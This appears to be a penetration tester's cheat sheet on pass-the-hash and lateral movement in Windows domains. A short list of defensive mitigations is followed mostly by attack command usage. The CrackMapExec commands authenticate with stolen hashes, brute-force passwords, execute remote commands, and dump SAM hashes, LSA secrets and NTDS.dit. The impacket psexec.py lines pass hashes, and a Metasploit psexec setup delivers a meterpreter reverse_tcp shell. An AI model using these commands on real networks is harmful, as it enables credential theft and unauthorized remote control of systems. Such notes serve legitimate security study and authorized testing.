

Hard to completely prevent, but we can make it more difficult on an attacker:

- Limit account re-use
 - Avoid re-using local admin password
 - Disable Guest and Administrator accounts
 - Limit who is a local administrator (least privilege)
- Utilize strong passwords
 - The longer the better (>14 characters)
 - Avoid using common words
 - I like long sentences
- Privilege Access Management (PAM)
 - Check out/in sensitive accounts when needed
 - Automatically rotate passwords on check out and check in
 - Limits pass attacks as hash/password is strong and constantly rotated

Examples

- Pass the hash doesn't work with NTLMv2
- Second part of the hash is the one that can be passed

cme

Crackmapexec

Usage

```
crackmapexec smb <IP/CIDR or range> -u <user> -H <hash> --local-auth

#passpassword
crackmapexec smb <IP/CIDR or range> -u <user> -d <domain> -p <pass>

# flags
smb # for smb
winrm # for winrm
-u # USER or user.txt
-p # PASSWORD or password.txt
-d # domain
-H # Hash
--no-brute-force # 1st user with 1st password, 2nd user with 2nd password etc.
--continue-on-success # try all
---
# Executions
-x # Execute a command
--local # local account
--local-auth # login

# gather creds
--sam # dump sam hashes
--lsa # dump lsa secrets
--ntds # dump NTDS.dit
```

SMB

```
# smb shares
-M # module
spider_plus # run spider_plus module enumerate shares for user run it with one user not files
```

```
# Examples
```

```
cme smb 10.10.10.10 -u edger -p password -M spider_plus
cat /tmp/FILE | jq .
cat /tmp/FILE | jq '. | keys' # filter keys shows open shares etc.
cat /tmp/FILE | jq '. | map_values(keys)'
```

dump all

```
cme smb 10.10.10.1 -u 'john' -p 'password123' --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol
```

Tags: [#passhash](#) [#smb](#) [#AD](#) [#hashdump](#) [#impacket](#) [#crackmapexec](#)

psexec

psexec

usage

```
psexec.py USERNAME:PASSWORD@IP
# pass hash
psexec.py USERNAME:@IP -hashes HASH # need all NTLM hash

psexec.py SHARE/ADMIN_ACCOUNT:"PASSWORD\!"@IP
# creates a remote service by uploading a randomly-named executable to the hidden Windows ADMIN$ share, registering a
service via RPC and the Windows Service Control Manager, and then communicating over named a named pipe

# flags
-hashes # passhash
```

psexec over msfconsole

```
use windows/smb/psexec
set rhosts TARGET IP
set smbdomain DOMAIN
set smbpass and smbuser
set target 2
set payload windows/x64/meterpreter/reverse_tcp
```

Tags: [#psexec](#) [#impacket](#) [#smb](#) [#passhash](#)

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